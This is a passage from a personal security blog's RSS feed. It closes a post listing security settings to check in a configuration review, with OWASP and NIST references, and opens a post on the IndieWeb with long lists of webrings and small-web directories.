  &lt;li&gt;&lt;strong&gt;Vendor&lt;/strong&gt; - Settings configurable only by the vendor, typically in a back-end console via flags, etc…&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;* &lt;strong&gt;Consideration&lt;/strong&gt;: &lt;em&gt;There may be configurable settings unique to each node/sub-system of a composite multi-tier system/platform (i.e. settings in the front-end web/app server as well as on back-end databases, etc…), so remember to walk through each distinct sub-system in-scope.&lt;/em&gt;&lt;/p&gt;

&lt;h2 id=&quot;security-related-configuration-settings&quot;&gt;Security-Related Configuration Settings&lt;/h2&gt;
&lt;p&gt;The list below includes &lt;em&gt;common&lt;/em&gt; &lt;strong&gt;security-related configuration settings&lt;/strong&gt; to evaluate when conducting a &lt;a href=&quot;#conducting-a-secure-configuration-review&quot;&gt;secure configuration review&lt;/a&gt; coupled with a description of an expected “secure config state”. This list is non-exhaustive, as other security settings may be exposed and configurable within the respective system under review.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;System version&lt;/strong&gt; - Latest version / fully patched&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Encryption at-rest&lt;/strong&gt; - Enabled (i.e. full disk or file level)&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Encryption in-transit&lt;/strong&gt; - Enabled at TLS 1.2+, E2E&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Error handling&lt;/strong&gt; (&lt;em&gt;e.g. stack traces, overly-informative messages&lt;/em&gt;) - Disabled&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Verbose logging&lt;/strong&gt; - Disabled&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Debug/developer modes&lt;/strong&gt; - Disabled&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Unnecessary features&lt;/strong&gt; (&lt;em&gt;e.g. documentation, files, sample apps, configs, features etc…&lt;/em&gt;) - Disabled or removed (&lt;em&gt;to reduce overall attack surface&lt;/em&gt;)&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Default accounts and/or credentials&lt;/strong&gt; - Account(s) deleted or password(s) changed&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Account privileges&lt;/strong&gt; - Ensure users are granted appropriate, non-excessive privileges adhering to principle of least privilege&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;HTTP security headers&lt;/strong&gt; - &lt;a href=&quot;https://cheatsheetseries.owasp.org/cheatsheets/HTTP_Headers_Cheat_Sheet.html&quot;&gt;OWASP HTTP Security Header recommendations&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Network configuration&lt;/strong&gt; (&lt;em&gt;e.g. isolation/segmentation/ACL/inbound/outbound&lt;/em&gt;) - Adhering to principle of least privilege&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Authentication&lt;/strong&gt; - Enabled and strictly enforced at internet boundary and between subsystems or trust boundaries&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Authorization&lt;/strong&gt; - Enabled and strictly enforced at internet boundary and between subsystems or trust boundaries&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Compiler flags&lt;/strong&gt; (&lt;em&gt;e.g. buffer overflow, DEP&lt;/em&gt;) - Enabled&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Password security&lt;/strong&gt; (&lt;em&gt;e.g. complexity, clipping, lifespan, recovery/reset etc…&lt;/em&gt;) - &lt;a href=&quot;https://pages.nist.gov/800-63-3/sp800-63b.html&quot;&gt;NIST SP 800-63B Digital Identity Guidelines&lt;/a&gt;, and/or adhering to corporate password policy&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;SSO&lt;/strong&gt; - Enabled via federated identity&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;CORS policy&lt;/strong&gt; - &lt;a href=&quot;https://cheatsheetseries.owasp.org/cheatsheets/HTML5_Security_Cheat_Sheet.html&quot;&gt;OWASP HTML5 Security | CORS&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Session management&lt;/strong&gt; - &lt;a href=&quot;https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html&quot;&gt;OWASP Session Management recommendations&lt;/a&gt;, but more specifically enforcing reasonable session timeout and no concurrent sessions&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;2FA/MFA&lt;/strong&gt; - Enabled for &lt;em&gt;all&lt;/em&gt; external facing services&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Telemetry&lt;/strong&gt; (&lt;em&gt;e.g. sending logs, crash dumps, etc… to vendor&lt;/em&gt;) - Disabled where possible&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Storage&lt;/strong&gt; - Understand and risk model where user uploaded files are stored&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Other&lt;/strong&gt;… (&lt;em&gt;Don’t stop there! Other settings may be exposed&lt;/em&gt;)&lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;

&lt;h1 id=&quot;references--resources&quot;&gt;References &amp;amp; Resources&lt;/h1&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/README&quot;&gt;OWASP Testing Guide WSTG - Configuration and Deployment Management Testing&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/OWASP/ASVS/blob/master/4.0/en/0x22-V14-Config.md&quot;&gt;OWASP ASVS V14 Configuration&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.aquasec.com/cloud-native-academy/supply-chain-security/security-misconfigurations/&quot;&gt;Security Misconfiguration: Types, Examples &amp;amp; Prevention Tips | Aquasec&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://owasp.org/www-project-web-security-testing-guide/stable/&quot;&gt;OWASP Web Security Testing Guide WSTG&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://owasp.org/www-project-software-component-verification-standard/&quot;&gt;OWASP Software Component Verification Standard (SCVS)&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.cisecurity.org/cis-benchmarks&quot;&gt;CIS Benchmarks&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;security-misonfiguration-standards&quot;&gt;Security Misonfiguration Standards&lt;/h2&gt;
&lt;p&gt;Below is a list of industry standards related to &lt;strong&gt;security misconfiguration&lt;/strong&gt;.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://owasp.org/Top10/A05_2021-Security_Misconfiguration/&quot;&gt;OWASP Top 10:2021 A05 - Security Misconfiguration&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://owasp.org/www-project-top-ten/2017/A6_2017-Security_Misconfiguration&quot;&gt;OWASP Top 10:2017 A6 - Security Misconfiguration&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://owasp.org/API-Security/editions/2023/en/0xa8-security-misconfiguration/&quot;&gt;OWASP API Top 10:2023&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://owasp.org/www-project-top-10-low-code-no-code-security-risks/content/2022/en/LCNC-SEC-05-Security-Misconfiguration&quot;&gt;OWASP LCNC-SEC-05&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://owasp.org/www-project-mobile-top-10/2023-risks/m8-security-misconfiguration&quot;&gt;OWASP Top 10: 2023 Mobile M8&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/16.html&quot;&gt;CWE-16 Configuration&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/OWASP/ASVS/blob/master/4.0/en/0x22-V14-Config.md&quot;&gt;Application Security Verification Standard V14 Configuration&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://nvlpubs.nist.gov/nistpubs/legacy/sp/nistspecialpublication800-123.pdf&quot;&gt;NIST Guide to General Server Hardening&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;* &lt;em&gt;After writing and saying “misconfiguration” in my head so many times, it has lost all meaning.&lt;/em&gt;&lt;/p&gt;
</description>
        <pubDate>Fri, 27 Oct 2023 21:46:00 -0400</pubDate>
        <link>https://shellsharks.com/secure-config-review</link>
        <guid isPermaLink="true">https://shellsharks.com/secure-config-review</guid>
        
        <category>infosec</category>
        
        <category>owasp</category>
        
        
        <category>infosec</category>
        
        <category>blog</category>
        
      </item>
    
      <item>
        <title>IndieWeb Assimilation</title>
        <shark:summary><p>I’ve been a <a href="https://shellsharks.com/you-should-blog">huge advocate for independent blogging</a> for a while now, both for personal <em>and</em> professional reasons. In fact, I’ve written countless replies to early-career folks about documenting their learning journey <a href="https://shellsharks.com/cyber-clout#blog">via a blog</a>. Since I first founded <a href="https://shellsharks.com/">shellsharks</a> (<em>circa 2019</em>), I’ve devoted a fair bit of time not only to writing “content” but also into a lot of little features that, to me, collectively gave the site depth as well as that sense of “having everything a site <em>should</em> have”. Some of these features include, an <a href="https://shellsharks.com/feeds/feed.xml">RSS feed</a>, <a href="https://shellsharks.com/robots.txt">robots.txt</a>, <a href="https://shellsharks.com/humans.txt">humans.txt</a>, <a href="https://shellsharks.com/.well-known/security.txt">security.txt</a>, <a href="https://shellsharks.com/about">about</a> page, <a href="https://shellsharks.com/tags">tags</a>, search, <a href="https://shellsharks.com/changelog">change log</a>, <a href="https://shellsharks.com/disclaimer">license &amp; disclaimer</a> and more. I’ve poured my creativity, whimsy and mind into the aesthetic, writing and functionality of the site and as a result it has served as an ever-present source of identity and pride for me on the web.</p>
</shark:summary>
        <description>&lt;p&gt;I’ve been a &lt;a href=&quot;https://shellsharks.com/you-should-blog&quot;&gt;huge advocate for independent blogging&lt;/a&gt; for a while now, both for personal &lt;em&gt;and&lt;/em&gt; professional reasons. In fact, I’ve written countless replies to early-career folks about documenting their learning journey &lt;a href=&quot;https://shellsharks.com/cyber-clout#blog&quot;&gt;via a blog&lt;/a&gt;. Since I first founded &lt;a href=&quot;https://shellsharks.com/&quot;&gt;shellsharks&lt;/a&gt; (&lt;em&gt;circa 2019&lt;/em&gt;), I’ve devoted a fair bit of time not only to writing “content” but also into a lot of little features that, to me, collectively gave the site depth as well as that sense of “having everything a site &lt;em&gt;should&lt;/em&gt; have”. Some of these features include, an &lt;a href=&quot;https://shellsharks.com/feeds/feed.xml&quot;&gt;RSS feed&lt;/a&gt;, &lt;a href=&quot;https://shellsharks.com/robots.txt&quot;&gt;robots.txt&lt;/a&gt;, &lt;a href=&quot;https://shellsharks.com/humans.txt&quot;&gt;humans.txt&lt;/a&gt;, &lt;a href=&quot;https://shellsharks.com/.well-known/security.txt&quot;&gt;security.txt&lt;/a&gt;, &lt;a href=&quot;https://shellsharks.com/about&quot;&gt;about&lt;/a&gt; page, &lt;a href=&quot;https://shellsharks.com/tags&quot;&gt;tags&lt;/a&gt;, search, &lt;a href=&quot;https://shellsharks.com/changelog&quot;&gt;change log&lt;/a&gt;, &lt;a href=&quot;https://shellsharks.com/disclaimer&quot;&gt;license &amp;amp; disclaimer&lt;/a&gt; and more. I’ve poured my creativity, whimsy and mind into the aesthetic, writing and functionality of the site and as a result it has served as an ever-present source of identity and pride for me on the web.&lt;/p&gt;

&lt;p&gt;Recently, I was introduced to the concept of the “&lt;a href=&quot;#indieweb&quot;&gt;IndieWeb&lt;/a&gt;” (or &lt;em&gt;small web&lt;/em&gt;), a “&lt;em&gt;people-focused alternative to the corporate web&lt;/em&gt;”. Intriguing right? My curiosity piqued, I soon discovered &lt;a href=&quot;https://indieweb.org&quot;&gt;IndieWeb.org&lt;/a&gt;, an organization dedicated to the proliferation of IndieWeb resources, guides, community and more. They describe the IndieWeb as…&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;…a community of independent &amp;amp; personal websites connected by simple standards, based on the principles of: owning your domain &amp;amp; using it as your primary identity, publishing on your own site (optionally syndicating elsewhere), and owning your data. &lt;strong&gt;&lt;sup&gt;1&lt;/sup&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;em&gt;Sound familiar?&lt;/em&gt; Sounds kinda like what I’ve been doing with my site for a while now! But what makes the IndieWeb special? Why should you or I care? Is there anything else to it? Read on to learn more!&lt;/p&gt;

&lt;center&gt;&lt;span&gt;&lt;img src=&quot;/assets/img/buttons/shellsharks-button.gif&quot; /&gt;&lt;/span&gt;&lt;/center&gt;

&lt;h1 id=&quot;indieweb&quot;&gt;IndieWeb&lt;/h1&gt;

&lt;p&gt;The &lt;strong&gt;&lt;a href=&quot;https://indieweb.org&quot;&gt;IndieWeb&lt;/a&gt;&lt;/strong&gt; (or “&lt;a href=&quot;https://ar.al/2020/08/07/what-is-the-small-web/&quot;&gt;small web&lt;/a&gt;”) is a collection of people-focused websites which share a core set of &lt;a href=&quot;https://indieweb.org/principles&quot;&gt;principles&lt;/a&gt;. The IndieWeb is not simply a missionless multitude however, the IndieWeb &lt;em&gt;movement&lt;/em&gt; is all about reclaiming the web by de-centralizing what has become all too centralized, encouraging ownership (of your site and your content), and bringing a truer sense of &lt;a href=&quot;#the-delightful-small-web&quot;&gt;fun and individuality&lt;/a&gt; back to the Internet. So &lt;em&gt;&lt;a href=&quot;https://indieweb.org/why&quot;&gt;why&lt;/a&gt;&lt;/em&gt; is the IndieWeb important? I’d suggest reading the following pieces by &lt;a href=&quot;https://dangillmor.com/2014/04/25/indie-web-important/&quot;&gt;Dan Gillmor&lt;/a&gt;, &lt;a href=&quot;https://www.jvt.me/posts/2019/10/20/indieweb-talk/&quot;&gt;Jamie Tanna&lt;/a&gt; &amp;amp; &lt;a href=&quot;https://ariadne.space/2022/07/01/a-silo-can-never-provide-digital-autonomy-to-its-users/&quot;&gt;Ariadne Conill&lt;/a&gt;, as they do a far more eloquent job than I probably would in explaining this. &lt;strong&gt;&lt;sup&gt;1, 2&lt;/sup&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;I’ve previously made known &lt;a href=&quot;https://shellsharks.com/you-should-blog#so-why-blog&quot;&gt;my reasons for blogging&lt;/a&gt;, but now with a better understanding of the IndieWeb, and &lt;a href=&quot;https://shellsharks.com/threadiversal-travel#title&quot;&gt;what’s at stake&lt;/a&gt; if we don’t embrace it, I now recognize that my infinitesimally small slice of the Internet guarantees me an incorruptible continuum for my content and my identity on the web. (&lt;em&gt;Check out my &lt;a href=&quot;https://shellsharks.com/indieweb.txt&quot;&gt;IndieWeb.txt&lt;/a&gt; file!&lt;/em&gt;)&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Awesome&lt;/em&gt;! Now that we have a rough understanding of the IndieWeb ethos, let’s cover what is in my mind the &lt;a href=&quot;#principle-mechanics&quot;&gt;principle mechanics of the IndieWeb&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;principle-mechanics&quot;&gt;Principle Mechanics&lt;/h2&gt;
&lt;p&gt;Looking to be part of the &lt;a href=&quot;#indieweb&quot;&gt;IndieWeb&lt;/a&gt;? You don’t need much. Here are (imo) the &lt;em&gt;three&lt;/em&gt; core tenants of an indie site. If your site has these two things, &lt;em&gt;congrats&lt;/em&gt;! You are part of the IndieWeb.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Domain Ownership&lt;/strong&gt;: Your site is hosted at a domain you &lt;strong&gt;own&lt;/strong&gt;.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Content Ownership&lt;/strong&gt;: Your content and writing is under your control (i.e. you have local or secondary backups).&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Individuality&lt;/strong&gt;: The site is about &lt;u&gt;you&lt;/u&gt;—your writing, your content. You are free to personalize the site’s design as you see fit.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;the-delightful-small-web&quot;&gt;The Delightful Small Web&lt;/h2&gt;
&lt;p&gt;The Internet is vast, yet collectively we spend most of our time these days (sadly) within boring, behemoth, centralized corporate-web watering holes. Beyond the corporate web lies countless relics of the old web, unique destinations of the IndieWeb and &lt;a href=&quot;#indieweb-delights&quot;&gt;delights&lt;/a&gt; of the small web.&lt;/p&gt;

&lt;h3 id=&quot;webrings&quot;&gt;Webrings&lt;/h3&gt;
&lt;p&gt;A &lt;strong&gt;&lt;a href=&quot;https://indieweb.org/webring&quot;&gt;webring&lt;/a&gt;&lt;/strong&gt; is a collection of websites that are linked together, each pointing to and from another site in the ring. They serve as a fun way to build community and facilitate discovery of new sites! Some Webrings and -related resources are provided below.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://brisray.com/web/webring-list.htm&quot;&gt;Webring List&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Public Interest Tech Webring by &lt;a href=&quot;https://billhunt.dev/blog/2022/12/30/bringing-webrings-back/&quot;&gt;Bill Hunt&lt;/a&gt; (&lt;a href=&quot;https://github.com/krusynth/public-interest-tech-webring/issues/new?assignees=krusynth&amp;amp;labels=new+site+request&amp;amp;template=new-site-request.md&amp;amp;title=&quot;&gt;Join!&lt;/a&gt; or &lt;a href=&quot;https://github.com/krusynth/webring-starter&quot;&gt;host your own with webring-starter&lt;/a&gt;)&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://webring.xxiivv.com&quot;&gt;webring.xxiivv&lt;/a&gt; (per &lt;a href=&quot;https://tech.lgbt/@ghostzero/110368175541059652&quot;&gt;@IPXFong@mastodon.sdf.org&lt;/a&gt;)&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://fediverse-webring-enthusiasts.glitch.me&quot;&gt;Webring Enthusiasts of the Fediverse&lt;/a&gt; (&lt;a href=&quot;https://fediverse-webring-enthusiasts.glitch.me/profiles/shellsharks_infosec.exchange/index.html&quot;&gt;Shellsharks is on there!&lt;/a&gt;)&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://fediring.net&quot;&gt;Fediring.net&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://sadgrl.online/cyberspace/webrings&quot;&gt;Webrings | sadgrl.online&lt;/a&gt; - A collection of Webrings.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://weirdwidewebring.net&quot;&gt;Weird Wide Webring&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://🕸💍.ws/directory&quot;&gt;🕸💍.ws&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://wake.st/webring/&quot;&gt;merveilles wonder webring&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.cyberdragon.digital/rings/draconic/&quot;&gt;Draconic Webring&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://geekring.net&quot;&gt;geekring&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://feelingmachine.moe/alterring/&quot;&gt;Alterhuman Summoning Circle&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://silly.city&quot;&gt;silly city&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://genlissa.neocities.org&quot;&gt;generation Lissa&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://a11y-webring.club&quot;&gt;a11y-webring.club&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://hotlinewebring.club&quot;&gt;Hotline Webring&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://webring.dinhe.net&quot;&gt;Retronaut&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://magering.net&quot;&gt;MageRing&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://melonland.net/surf-club&quot;&gt;MelonLand Surf Club&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ring.muhokama.fun&quot;&gt;Muhokama&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://static.quest&quot;&gt;Static.Quest&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://meta-ring.hedy.dev&quot;&gt;Meta Ring&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://dokokashira.nl/entralink/index.html&quot;&gt;Entralink&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://emreed.net/LowTech_Directory&quot;&gt;LOW TECH WEBRING&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;explore-the-indieweb&quot;&gt;Explore the IndieWeb&lt;/h3&gt;
&lt;p&gt;The sites below are ways to discover, explore and find the sites of the &lt;a href=&quot;#indieweb&quot;&gt;IndieWeb&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://blogroll.org&quot;&gt;blogroll.org&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ooh.directory&quot;&gt;ooh.directory&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.marginalia.nu]&quot;&gt;marginalia.nu&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://indieseek.xyz&quot;&gt;indieseek.xyz&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://kagi.com/smallweb/&quot;&gt;kagi.com/smallweb/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://tsjo.ch/&quot;&gt;Tsjoch!&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://kukei.eu&quot;&gt;Kukei.eu&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blogofthe.day&quot;&gt;Blog of the .Day&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://searchmysite.net&quot;&gt;searchmysite.net&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://whimsical.club&quot;&gt;whimsical.club&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://theuselessweb.com&quot;&gt;theuselessweb.com&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://theforest.link&quot;&gt;theforest.link&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://minifeed.net/about&quot;&gt;Minifeed.net&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://scribbles.page/explore&quot;&gt;Scribbles explore&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://bukmark.club/directory/&quot;&gt;Bukmark Club&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://theuselessweb.com/&quot;&gt;The Useless Web&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://personalsit.es&quot;&gt;personalsit.es&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://indieweb-directory.glitch.me&quot;&gt;indieweb-directory.glitch.me&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://godteeth.com/misc/randomweb&quot;&gt;godteeth.com/misc/randomweb&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://indieblog.page&quot;&gt;indieblog.page&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://bubbles.town&quot;&gt;Bubbles&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://biglist.terraaeon.com&quot;&gt;The Big List of Personal Websites&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blogs.hn&quot;&gt;blogs.hn&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://neocities.org/browse&quot;&gt;neocities.org/browse&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://wiby.me&quot;&gt;wiby.me&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://oldavista.com&quot;&gt;Old’aVista&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://curlie.org&quot;&gt;Curlie&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://directory.joejenett.com&quot;&gt;i.webthings directory&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://deadsimplesites.com&quot;&gt;Dead Simple Sites&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.kirbysites.com&quot;&gt;Kirbysites&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://gopher.emacs.ch&quot;&gt;GNV Smallweb Index&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://sjmulder.nl/en/textonly.html&quot;&gt;Hyperlinked Text&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blogroll.club&quot;&gt;blogroll.club&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://openwebengine.com&quot;&gt;Open Web Engine&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://internetphonebook.net&quot;&gt;Internet Phone Book&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://smallweb.cc&quot;&gt;smallweb.cc&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://clew.se&quot;&gt;Clew&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blue-pages.bitbucket.io&quot;&gt;Blue Pages&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://archive95.net&quot;&gt;Archive95&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://obsidian-gallery.craftengineer.com&quot;&gt;Obsidian Garden Gallery&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://discuss.32bit.cafe/wiki/resources#directories-listings&quot;&gt;32-Bit Cafe Directories &amp;amp; Listings&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Webrings: &lt;a href=&quot;https://foreverliketh.is/blog/exploring-the-personal-web/&quot;&gt;foreverliketh.is/blog/exploring-the-personal-web/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h6 id=&quot;page-directories&quot;&gt;/page Directories&lt;/h6&gt;
&lt;p&gt;Learn more about “&lt;a href=&quot;https://slashpages.net&quot;&gt;slash pages&lt;/a&gt;”.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://aboutideasnow.com&quot;&gt;About Ideas Now&lt;/a&gt; - Directory of &lt;a href=&quot;https://slashpages.net#about&quot;&gt;/about&lt;/a&gt;, &lt;a href=&quot;https://slashpages.net#ideas&quot;&gt;/ideas&lt;/a&gt; &amp;amp; &lt;a href=&quot;https://slashpages.net#now&quot;&gt;/now&lt;/a&gt; pages&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://docs.google.com/spreadsheets/u/0/d/e/2PACX-1vThO3so7dDshcfzNUlDZ0SDs1c-pxpU0llcLHEgNoAiLdcBWOP5RQrnrF6GcXRUtYhYs1fSg7uSc6dF/pubhtml?gid=204057601&amp;amp;single=true&amp;amp;pli=1&quot;&gt;/AI Page Directory&lt;/a&gt; - Directory of &lt;a href=&quot;https://slashpages.net#ai&quot;&gt;/ai&lt;/a&gt; pages&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blogroll.org&quot;&gt;Ye Olde Blogroll&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://shellsharks.com/notes/2026/02/17/citations-css&quot;&gt;Citations(.css) Directory&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://defaults.rknight.me&quot;&gt;App Defaults&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://alastairjohnston.com/introducing-hello-pages/&quot;&gt;Hello Pages&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://chrisburnell.github.io/interests-directory/&quot;&gt;The /interests Directory&lt;/a&gt; - Directory of &lt;a href=&quot;https://slashpages.net#interests&quot;&gt;/interests&lt;/a&gt; pages&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://bukmark.club/directory/&quot;&gt;Bukmark Club&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://nownownow.com&quot;&gt;NowNowNow&lt;/a&gt; - Directory of &lt;a href=&quot;https://slashpages.net#now&quot;&gt;/now&lt;/a&gt; pages&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://now.garden&quot;&gt;The /now Garden&lt;/a&gt;&lt;/li&gt;
